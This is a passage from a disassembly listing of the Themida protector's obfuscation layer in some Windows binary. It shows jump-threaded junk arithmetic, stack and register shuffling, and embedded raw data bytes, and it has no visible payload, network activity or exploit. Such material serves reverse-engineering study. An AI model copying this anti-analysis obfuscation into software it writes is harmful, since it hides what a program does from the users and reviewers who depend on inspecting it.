; ---------------------------------------------------------------------------


loc_5A4E4F:				; CODE XREF: Themida_:005A103Bj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A30F3
; ---------------------------------------------------------------------------


loc_5A4E59:				; CODE XREF: Themida_:005A119Ej
		add	esp, 4
		push	2410h
		mov	[esp], eax
		jmp	loc_5AF075
; ---------------------------------------------------------------------------


loc_5A4E69:				; CODE XREF: Themida_:0059BB54j
		jmp	loc_5A8A6B
; ---------------------------------------------------------------------------


loc_5A4E6E:				; CODE XREF: Themida_:005A7CD6j
		push	esi
		push	edx
		push	4AA27CD3h
		pop	edx
		xor	edx, 0A012901h
		sub	edx, 631877FBh
		mov	esi, edx
		pop	edx
		jmp	loc_5AA5E6
; ---------------------------------------------------------------------------


loc_5A4E8A:				; CODE XREF: Themida_:0059C22Ej
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_59EA76
; ---------------------------------------------------------------------------


loc_5A4E94:				; CODE XREF: Themida_:005A1B03j
		jz	loc_59E407
		add	ecx, 5EC81022h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		sub	esp, 4
		jmp	loc_59D529
; ---------------------------------------------------------------------------


loc_5A4EB0:				; CODE XREF: Themida_:005A645Bj
		push	ecx
		mov	cl, 0E2h
		jmp	loc_5A6844
; ---------------------------------------------------------------------------


loc_5A4EB8:				; CODE XREF: Themida_:005A270Ej
		or	ebp, 568A3A16h
		jmp	loc_5AA74A
; ---------------------------------------------------------------------------
		db 89h
		dd 774EE9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4ECA:				; CODE XREF: Themida_:0059B235j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0ECh
		push	edx
		mov	dh, 0C8h
		or	dh, 32h
		and	dh, 57h
		shr	dh, 2
		neg	dh
		push	ecx
		jmp	loc_5A3BF0
; ---------------------------------------------------------------------------


loc_5A4EE9:				; CODE XREF: Themida_:005AC8C1j
		jmp	loc_5A557A
; ---------------------------------------------------------------------------


loc_5A4EEE:				; CODE XREF: Themida_:005AB1BBj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A6C42
; ---------------------------------------------------------------------------


loc_5A4EF7:				; CODE XREF: Themida_:0059E85Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59B8CA
; ---------------------------------------------------------------------------
		db 81h
		dd 0B1397BEEh, 54EE8153h, 1E4F436h, 0EC815EF0h,	4, 81240489h
		dd 3CF62434h, 348B4836h, 4C48124h, 57000000h, 0F02F11BFh
		dd 2E7C102h, 80B2F781h,	0FE3143F6h, 0FFBB68E9h,	0F0BB53FFh
		dd 83498513h, 0E381FFC3h, 1AD812DAh, 0ED3AC381h, 0DD01F77Fh
		dd 4974685Bh, 0C890000h, 384E924h, 74FF0000h, 8F5D0424h
		dd 248B2404h, 40524h, 0C0830000h, 24043302h, 0FFD9BDE9h
		dd 10EB81FFh, 8B1DB973h, 0E9502414h, 5BD8h
; ---------------------------------------------------------------------------


loc_5A4F90:				; CODE XREF: Themida_:005A28D9j
		shl	cl, 7
		jmp	loc_598F13
; ---------------------------------------------------------------------------


loc_5A4F98:				; CODE XREF: Themida_:0059B9C8j
		and	edx, 5CA5311Eh
		push	ecx
		mov	ecx, 5F9A6739h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A088F
; ---------------------------------------------------------------------------


loc_5A4FAF:				; CODE XREF: Themida_:005A80AEj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A12ED
; ---------------------------------------------------------------------------


loc_5A4FC0:				; CODE XREF: Themida_:0059DF47j
		xor	edi, 71C61AC3h
		jbe	loc_5A6055
		add	edi, 0F8160DDCh
		mov	edx, edi
		jmp	loc_5A08F1
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 96h
		dd 0E9551368h, 2D0Ah, 81E68956h, 4C6h, 4C68100h, 87000000h
		db 34h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	6B7Bh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 243F75BDh
		jmp	loc_5A760F
; ---------------------------------------------------------------------------


loc_5A501B:				; CODE XREF: Themida_:0059C4E3j
		not	esi
		sub	esi, 6859351Fh
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 873D9F35h
		sub	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		sub	eax, ebx
		push	edx
		mov	edx, 116F39D4h
		sub	eax, edx
		jmp	loc_59A822
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FEh
		dd 8188724Ch, 4A07ACC3h, 81CB0110h, 4A07ACEBh, 0AF6EE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A505A:				; CODE XREF: Themida_:0059FA1Bj
		mov	edi, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A0A9E
; ---------------------------------------------------------------------------


loc_5A5067:				; CODE XREF: Themida_:005A4C63j
		add	eax, edx
		push	edi
		mov	edi, 4F2647DDh
		sub	eax, edi
		pop	edi
		mov	[eax], bh
		jmp	loc_5A5CB0
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 0E95B0424h, 0FFFFCCF4h, 4C381h, 1C870000h, 7652E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5092:				; CODE XREF: Themida_:0059A3E3j
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_5A0185
; ---------------------------------------------------------------------------
		dw 8C05h
		dd 5248AD11h, 0BB53E289h, 4, 0E95BDA01h, 1Fh
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: Themida_:00598D7Bj
					; Themida_:005AC801j
		shr	esi, 7
		neg	esi
		jp	loc_59ED04
		add	esi, 22C8E3C7h
		and	cl, 6Eh
		pop	esi


loc_5A50C9:				; CODE XREF: Themida_:005A10ECj
		mov	ebx, 0D5D24BB5h
		jmp	loc_5A8205
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF631DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A50D9:				; CODE XREF: Themida_:005AECE4j
		mov	eax, esp
		jmp	loc_5A22CD
; ---------------------------------------------------------------------------
aUh4		db 'Uh4"',0
		align 2
		dw 1C89h
		dd 768DBB24h, 0DD892C89h, 5B2434FFh, 81E18951h,	4C1h, 4C18100h
		dd 87000000h, 815C240Ch, 4ECh, 24348900h, 0DF6E6CBEh, 1FF68107h
		dd 0E9D4A9E3h, 4427h
; ---------------------------------------------------------------------------


loc_5A5120:				; CODE XREF: Themida_:005A49E5j
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_59C353
; ---------------------------------------------------------------------------
		db 0BEh, 33h, 46h
		dd 0BB531D83h, 2B371C6Ah, 3252E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A513D:				; CODE XREF: Themida_:005AA6E2j
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_5A71B4
; ---------------------------------------------------------------------------


loc_5A5162:				; CODE XREF: Themida_:005AB6FFj
		mov	[esp], edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		jmp	loc_59CD4F
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 83E38953h, 1BE904ECh
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A517F:				; CODE XREF: Themida_:005A7158j
		xor	ebp, [esp]
		jmp	loc_59DB67
; ---------------------------------------------------------------------------


loc_5A5187:				; CODE XREF: Themida_:005ACF13j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_599E99
; ---------------------------------------------------------------------------


loc_5A51B2:				; CODE XREF: Themida_:005AB3E0j
		push	eax
		mov	eax, 3BA85537h
		shl	eax, 7
		shl	eax, 6
		xor	eax, 0AA6E004h
		add	ecx, eax
		jmp	loc_599F9E
; ---------------------------------------------------------------------------


loc_5A51CA:				; CODE XREF: Themida_:005A14A0j
		pop	edi
		inc	ebx
		push	ecx
		mov	ecx, 3D8B4462h
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_5AB6AA
; ---------------------------------------------------------------------------


loc_5A51DC:				; CODE XREF: Themida_:005AEDF7j
		pop	edi
		jmp	loc_5A9652
; ---------------------------------------------------------------------------


loc_5A51E2:				; CODE XREF: Themida_:005A7C97j
		add	edi, 466673AAh
		jnp	loc_5A3636
		sub	edi, 48DC7EE8h
		mov	ebx, edi
		jmp	loc_59B37F
; ---------------------------------------------------------------------------
		db 51h
		dd 1C5568h, 242C8900h, 0B18D9BDh, 0D5BF571Ah, 291A0B18h
		dd 78E95FFDh
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5217:				; CODE XREF: Themida_:005A8531j
		xor	ebx, 18A25B1Dh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_59EF24
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0CF46824h, 1C890000h, 313C6824h, 24890000h, 24048324h
		dd 53575B04h, 0A1215468h, 241C8B52h, 44B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A524D:				; CODE XREF: Themida_:005A0683j
		jg	loc_5AC5D2
		jmp	loc_5ABB16
; ---------------------------------------------------------------------------


loc_5A5258:				; CODE XREF: Themida_:005A4270j
		add	eax, ecx
		jmp	loc_59FBC4
; ---------------------------------------------------------------------------


loc_5A525F:				; CODE XREF: Themida_:005AB2AAj
		pop	eax
		push	edx
		mov	dh, ch
		push	ecx
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		mov	[edi+eax*4], cl
		pop	ecx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_5ABAF9
; ---------------------------------------------------------------------------


loc_5A5277:				; CODE XREF: Themida_:0059BC34j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		and	esi, 42B94FF1h
		jmp	loc_5AF311
; ---------------------------------------------------------------------------
		db 68h
		dd 7853h, 0FFC91AE9h, 319C68FFh, 4890000h, 4EC8124h, 0E9000000h
		dd 2035h, 9E702D0Dh, 28B9510Ah,	0E9DE216Ch, 0FFFF4DE6h
		dd 8A0FECD0h, 51B3h, 3D19E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A52C5:				; CODE XREF: Themida_:00599BDDj
		pop	ebx
		sub	ebp, 609F4F07h
		jle	loc_5A3684
		neg	ebp
		jg	loc_5ADF19
		jmp	loc_5A912F
; ---------------------------------------------------------------------------
		db 51h
		dd 11E768h, 479FE900h, 0EB680000h, 0E9000056h, 356h
; ---------------------------------------------------------------------------


loc_5A52F4:				; CODE XREF: Themida_:005AD1F3j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5302:				; CODE XREF: Themida_:0059D825j
		sub	ebx, 4
		jmp	loc_59B22E
; ---------------------------------------------------------------------------


loc_5A530A:				; CODE XREF: Themida_:005A99AFj
					; Themida_:005A9F0Aj
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5310:				; CODE XREF: Themida_:005A092Bj
		shr	edx, 4
		jmp	loc_5A2D11
; ---------------------------------------------------------------------------
		dd 0E9A5E959h, 3C89FFFFh, 0E9E78924h, 5BA5h, 7444EA81h
		dd 0E2C14CE6h, 0D3890F08h, 0E9FFFF88h, 0FFFFB0E5h, 0B8581568h
		dd 0FF505868h, 0E9582404h, 4759h, 8324048Bh, 1DE904C4h
		dd 0ADFFFF70h, 353568h,	242C8900h, 0E65506BDh, 77EB054Ah
		dd 0BA525ADFh, 76CD02EEh, 2E94C281h, 96E93EFDh,	68FFFF9Bh
		dd 6ECFh, 0FF243489h, 0E9042474h, 513Ch
; ---------------------------------------------------------------------------


loc_5A538C:				; CODE XREF: Themida_:0059BA28j
		mov	dl, 2
		jmp	loc_5A9178
; ---------------------------------------------------------------------------


loc_5A5393:				; CODE XREF: Themida_:00598CAEj
					; Themida_:005A5ED6j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	495Ch
		mov	[esp], esi
		push	6DE22DC9h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A622A
; ---------------------------------------------------------------------------


loc_5A53B5:				; CODE XREF: Themida_:005A6B5Ej
		mov	bl, 0B9h
		add	bl, 38h
		add	bl, 0BEh
		xor	bl, 57h
		sub	cl, bl
		pop	ebx
		mov	dx, [esp]
		jmp	loc_5A1036
; ---------------------------------------------------------------------------


loc_5A53CC:				; CODE XREF: Themida_:005AA623j
		push	ecx
		push	edi
		push	73953FB1h
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6FAA4F8Dh
		xor	edi, ecx
		jmp	loc_5AA53A
; ---------------------------------------------------------------------------


loc_5A53E9:				; CODE XREF: Themida_:0059E4F1j
					; Themida_:0059EFB1j
		sub	edi, ebx
		pop	ebx
		jmp	loc_5AE572
; ---------------------------------------------------------------------------


loc_5A53F1:				; CODE XREF: Themida_:0059B317j
		pop	eax
		not	eax
		inc	eax
		push	edi
		mov	edi, 356E453Bh
		add	edi, 35AF1C1h
		add	eax, edi
		pop	edi
		push	eax
		pop	ecx
		jmp	loc_5AAF82
; ---------------------------------------------------------------------------


loc_5A540B:				; CODE XREF: Themida_:0059935Aj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_59FB59
; ---------------------------------------------------------------------------


loc_5A5417:				; CODE XREF: Themida_:005A6507j
		pop	edx
		add	esp, 4
		push	52D3h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5AF185
; ---------------------------------------------------------------------------


loc_5A542D:				; CODE XREF: Themida_:005A8880j
		mov	ecx, [esp]
		jmp	loc_59F524
; ---------------------------------------------------------------------------


loc_5A5435:				; CODE XREF: Themida_:005990D5j
		mov	ecx, 106B5BEAh
		or	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 2CD67760h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AD851
; ---------------------------------------------------------------------------
		db 58h
		dd 1C8BDD01h, 0DFC4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A545E:				; CODE XREF: Themida_:005ACC94j
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5990A9
		push	dword ptr [edi+1Ch]
		push	ebp
		push	ebx
		push	7E5776C1h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	818h
		mov	[esp], esi
		mov	esi, 2CA45DAh
		mov	edi, esi
		pop	esi
		shr	edi, 3
		jnz	loc_5A4DC0
		push	esi
		mov	esi, 1AC71B6Ch
		jmp	loc_5A5E08
; ---------------------------------------------------------------------------


loc_5A54A4:				; CODE XREF: Themida_:0059D788j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A7D86
; ---------------------------------------------------------------------------


loc_5A54AD:				; CODE XREF: Themida_:0059D26Aj
					; Themida_:005A7458j
		not	eax
		or	eax, 48C12A85h
		jmp	loc_59897C
; ---------------------------------------------------------------------------


loc_5A54B9:				; CODE XREF: Themida_:0059B9ABj
		pop	edi
		push	3840h
		mov	[esp], esi
		push	ecx
		mov	ecx, 4AA54861h
		mov	esi, 4AA54865h
		sub	esi, ecx
		jmp	loc_5A2CD4
; ---------------------------------------------------------------------------
		dd 55240489h, 0FF8382E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A54DD:				; CODE XREF: Themida_:005ADD93j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5ADA37
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 770Ch
; ---------------------------------------------------------------------------


loc_5A54F0:				; CODE XREF: Themida_:0059C48Fj
		mov	ebx, 3BCD6596h
		dec	ebx
		and	ebx, 0EF1457Ch
		xor	ebx, 7F4E6DBEh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4114757h
		add	ebp, edx
		add	ebp, 4114757h
		sub	ebp, 758F28AAh
		push	dword ptr [esp]
		jmp	loc_5A9144
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 660A0268h, 0C6815E55h, 0AA99F602h, 5D6CC381h, 0F30156FEh
		dd 5D6CEB81h, 348B56FEh, 4C48124h, 83000000h, 1C3304EBh
		dd 241C3124h, 5C241C33h, 7E33E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A5559:				; CODE XREF: Themida_:005A8A77j
		sub	edx, 423C7E29h
		sub	edx, ebx
		xchg	edx, ebx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_598C9F
; ---------------------------------------------------------------------------


loc_5A557A:				; CODE XREF: Themida_:loc_5A4EE9j
					; Themida_:005A9572j
		push	edi
		mov	edi, 7DFF6A63h
		sub	eax, edi
		jmp	loc_5A1BEA
; ---------------------------------------------------------------------------


loc_5A5587:				; CODE XREF: Themida_:loc_5AB394j
		xor	edx, 13C846F9h
		jp	loc_5A87F5
		jmp	loc_5ABA62
; ---------------------------------------------------------------------------
		dd 0EA81FA01h, 3C1B79BBh, 0FF31ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A55A5:				; CODE XREF: Themida_:005AC754j
		or	edx, 62A476B5h
		and	edx, 7E243E5Eh
		not	edx
		xor	edx, 0E3C99E34h
		or	eax, edx
		pop	edx
		add	eax, 0C44D965Dh
		or	edx, eax
		pop	eax
		sub	edx, 1
		jmp	loc_5A73A5
; ---------------------------------------------------------------------------
		dd 6F4ABD55h, 0E5C101BFh, 0BE02E902h, 0D8BEFFFFh, 51183B35h
		dd 0BB21CCB9h, 8AF18133h, 0E97CA93Eh, 0FFFF5B82h
; ---------------------------------------------------------------------------


loc_5A55F0:				; CODE XREF: Themida_:0059AEDDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		jmp	loc_59C5ED
; ---------------------------------------------------------------------------
		dw 972Dh
		dd 1088B66h, 669705C8h,	0E959088Bh, 0FFFF59FCh
; ---------------------------------------------------------------------------


loc_5A561C:				; CODE XREF: Themida_:005A9BDFj
		sub	edi, 7C74A3EFh
		mov	ecx, edi
		pop	edi
		jmp	loc_5A32EA
; ---------------------------------------------------------------------------


loc_5A562A:				; CODE XREF: Themida_:005A0DB9j
		and	eax, 52B63E3Bh
		not	eax
		jmp	loc_59A6C7
; ---------------------------------------------------------------------------
		dw 52ACh
		dd 0C0E9AEB2h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A563F:				; CODE XREF: Themida_:005A9947j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AE802
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4EC8324h, 68240C89h,	71227AF4h, 0FF7100E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A565D:				; CODE XREF: Themida_:005A6147j
		mov	edi, 439A44F0h
		jmp	loc_59DBFD
; ---------------------------------------------------------------------------


loc_5A5667:				; CODE XREF: Themida_:005AE91Bj
		and	edx, 4D2E72A6h
		jmp	loc_5AE8A8
; ---------------------------------------------------------------------------


loc_5A5672:				; CODE XREF: Themida_:005AEDDDj
		shl	esi, 5
		add	esi, 32C34975h
		push	ecx
		mov	ecx, 2CCB7F9Eh
		sub	ecx, 0A392790Fh
		jmp	loc_59E91B
; ---------------------------------------------------------------------------


loc_5A568C:				; CODE XREF: Themida_:005A447Cj
		pop	edx
		jmp	loc_59BC5B
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 8B243C33h, 33682424h, 0E9000004h,	7943h
		dd 8106EEC1h, 0C57E8CEEh, 8FE946DCh
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A56B7:				; CODE XREF: Themida_:0059EDB7j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A9166
; ---------------------------------------------------------------------------


loc_5A56C6:				; CODE XREF: Themida_:005A1F05j
		jmp	loc_5A36AA
; ---------------------------------------------------------------------------


loc_5A56CB:				; CODE XREF: Themida_:0059DC35j
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_5A1E6F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 54535824h, 5B2434FFh, 4C481h, 0C3810000h, 4,	7635E950h
		dd 0FF540000h, 81592434h, 4C4h,	9254E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A571E:				; CODE XREF: Themida_:00599720j
		pop	esp
		mov	[esp], ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AF11B
; ---------------------------------------------------------------------------


loc_5A575A:				; CODE XREF: Themida_:005AF21Aj
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7A601309h
		sub	ecx, 6E2FAD5Ch
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0C0CA2074h
		add	edi, ecx
		pop	ecx
		jmp	loc_59F8C1
; ---------------------------------------------------------------------------
		dd 4E240481h, 50413D07h, 2928E0B8h, 24442921h, 0AE04E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A57A6:				; CODE XREF: Themida_:005A6EAAj
		pop	ebx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59940C
; ---------------------------------------------------------------------------


loc_5A57BB:				; CODE XREF: Themida_:005A8C8Fj
		add	esp, 4
		pop	edx
		push	edx
		jmp	loc_59B7BB
; ---------------------------------------------------------------------------


loc_5A57C5:				; CODE XREF: Themida_:005A9EA9j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		jmp	loc_59EE92
; ---------------------------------------------------------------------------


loc_5A57D0:				; CODE XREF: Themida_:0059BCC9j
		add	[esp+4], edi
		jmp	loc_59FE7B
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 47h
		dd 813E9657h, 0D47ACEC5h, 0EC30E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A57EA:				; CODE XREF: Themida_:005AA57Fj
		add	eax, 4
		add	eax, 4
		jmp	loc_59E8FE
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 2B8AE99Ch, 0F796FFFFh, 814696D0h, 1E9C16EEh,	0E9F329DAh
		dd 90E6h
; ---------------------------------------------------------------------------


loc_5A5814:				; CODE XREF: Themida_:0059ECE3j
		push	dword ptr [esp]
		jmp	loc_5A649B
; ---------------------------------------------------------------------------
		dd 343EF281h, 0EA8155F5h, 5A482D53h, 0E95AD031h, 0FFFFC10Ah
; ---------------------------------------------------------------------------


loc_5A5830:				; CODE XREF: Themida_:0059B37Aj
		add	al, 86h
		sub	al, 49h
		jmp	loc_5ADD11
; ---------------------------------------------------------------------------


loc_5A5839:				; CODE XREF: Themida_:0059A832j
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A6181
; ---------------------------------------------------------------------------


loc_5A5851:				; CODE XREF: Themida_:005A7D60j
		jnp	loc_5A769C
		add	bh, 0B3h
		jmp	loc_5AAAD1
; ---------------------------------------------------------------------------
aSK		db ')ήι΅K',0
		align 2


loc_5A5866:				; CODE XREF: Themida_:005A3D3Dj
		mov	edx, 4B16632Ah
		mov	esi, 5B6B4153h
		xor	esi, edx
		pop	edx
		shl	esi, 5
		jmp	loc_5A2039
; ---------------------------------------------------------------------------
		db 89h
		dd 0D0315DEAh, 58C7015Ah, 446968h, 241C8900h, 4BBh, 5EC78100h
		dd 0E971BE5Ah, 0FFFF5525h, 4A8BF781h, 800F34D7h, 0FFFF8FFFh
		dd 0FFDE77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A58AD:				; CODE XREF: Themida_:0059F6D0j
		xor	ebx, 82E7DA2h
		jmp	loc_59F88F
; ---------------------------------------------------------------------------
		dd 0E904E2C1h, 0FFFFEC7Bh
; ---------------------------------------------------------------------------


loc_5A58C0:				; CODE XREF: Themida_:005A44D6j
		xor	ebx, [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A58CF:				; CODE XREF: Themida_:0059B63Fj
					; Themida_:005ADE4Dj
		push	eax
		mov	eax, 142631D6h
		or	eax, 3FD357A4h
		shl	eax, 2
		jmp	loc_5A33FE
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 8AF681FFh, 31E553FEh, 24348BF0h, 5E08950h, 4, 405h
		dd 6C3AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5902:				; CODE XREF: Themida_:005A6E8Cj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59E51F
; ---------------------------------------------------------------------------


loc_5A5910:				; CODE XREF: Themida_:0059DC7Ej
		push	ebx
		mov	ebx, 7FD04A0Eh
		xor	ebx, 2B1600C5h
		jmp	loc_5AE3CF
; ---------------------------------------------------------------------------


loc_5A5921:				; CODE XREF: Themida_:0059F009j
		ja	loc_59C1A0
		jmp	loc_5A7ED0
; ---------------------------------------------------------------------------
		dd 0BD0135B9h
		db 18h,	0B3h, 6Ah
; ---------------------------------------------------------------------------


loc_5A5933:				; CODE XREF: Themida_:005A6EA2j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]


loc_5A593A:				; CODE XREF: Themida_:0059B8D8j
		push	827h
		jmp	loc_5ABC75
; ---------------------------------------------------------------------------


loc_5A5944:				; CODE XREF: Themida_:005A0548j
		sub	ebx, 287A244Ch
		add	ebx, ebp
		push	ecx
		mov	ecx, 287A244Ch
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4DAF0625h
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	1215h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5ADE27
; ---------------------------------------------------------------------------


loc_5A5988:				; CODE XREF: Themida_:0059B446j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	5AE3h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebp
		sub	esp, 4
		jmp	loc_5AF098
; ---------------------------------------------------------------------------


loc_5A59A4:				; CODE XREF: Themida_:005ADF90j
		jmp	loc_5AAE51
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 12E92434h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A59B7:				; CODE XREF: Themida_:005A2187j
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0E7h
		dd 5701C932h, 69156FBFh, 80C7816Ah, 47651D45h, 48B1C781h
		dd 2BE98306h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A59DF:				; CODE XREF: Themida_:0059B1ECj
		and	edi, 53119D4h
		or	edi, 30B26698h
		push	eax
		jmp	loc_598442
; ---------------------------------------------------------------------------


loc_5A59F1:				; CODE XREF: Themida_:005AC2F4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	1A71h
		mov	[esp], edx
		mov	edx, 2
		push	edx
		xor	dword ptr [esp], 45A510A6h
		pop	ebp
		push	ebx
		mov	ebx, 45A510A6h
		xor	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5A7CF9
; ---------------------------------------------------------------------------


loc_5A5A2A:				; CODE XREF: Themida_:005ABDAEj
		shr	ecx, 3
		jmp	loc_5A17DA
; ---------------------------------------------------------------------------


loc_5A5A32:				; CODE XREF: Themida_:005A918Bj
		mov	ecx, 4
		jmp	loc_59F773
; ---------------------------------------------------------------------------


loc_5A5A3C:				; CODE XREF: Themida_:005ADB11j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, ebx
		push	edi
		mov	edi, ecx
		mov	ebp, edi
		jmp	loc_5A3470
; ---------------------------------------------------------------------------


loc_5A5A5A:				; CODE XREF: Themida_:005A097Ej
		add	eax, edi
		jmp	loc_59A1C8
; ---------------------------------------------------------------------------


loc_5A5A61:				; CODE XREF: Themida_:0059F10Fj
		push	ebp
		jmp	loc_5A3C36
; ---------------------------------------------------------------------------
		db 89h
		dd 8B54243Ch, 2EE9243Ch
